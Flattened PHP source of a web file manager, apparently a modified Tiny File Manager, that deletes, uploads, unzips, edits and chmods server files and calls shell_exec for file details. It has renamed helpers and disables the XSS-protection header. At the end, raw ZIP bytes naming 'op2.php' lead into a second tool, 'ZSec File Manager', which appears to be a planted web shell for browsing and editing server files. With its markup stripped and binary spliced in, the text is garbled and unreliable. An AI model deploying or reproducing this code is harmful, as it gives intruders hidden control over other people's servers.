$f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'alloxanic
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKQsm\~\ݸ5 5 z8op2.phpnu[ Mini File Manager

ZSec File Manager

Current Directory:

[Up] $file "; if (is_dir($filePath)) { echo "[Open] "; } elseif (is_file($filePath)) { echo "[Edit] "; } echo "
"; } ?>

Edit File

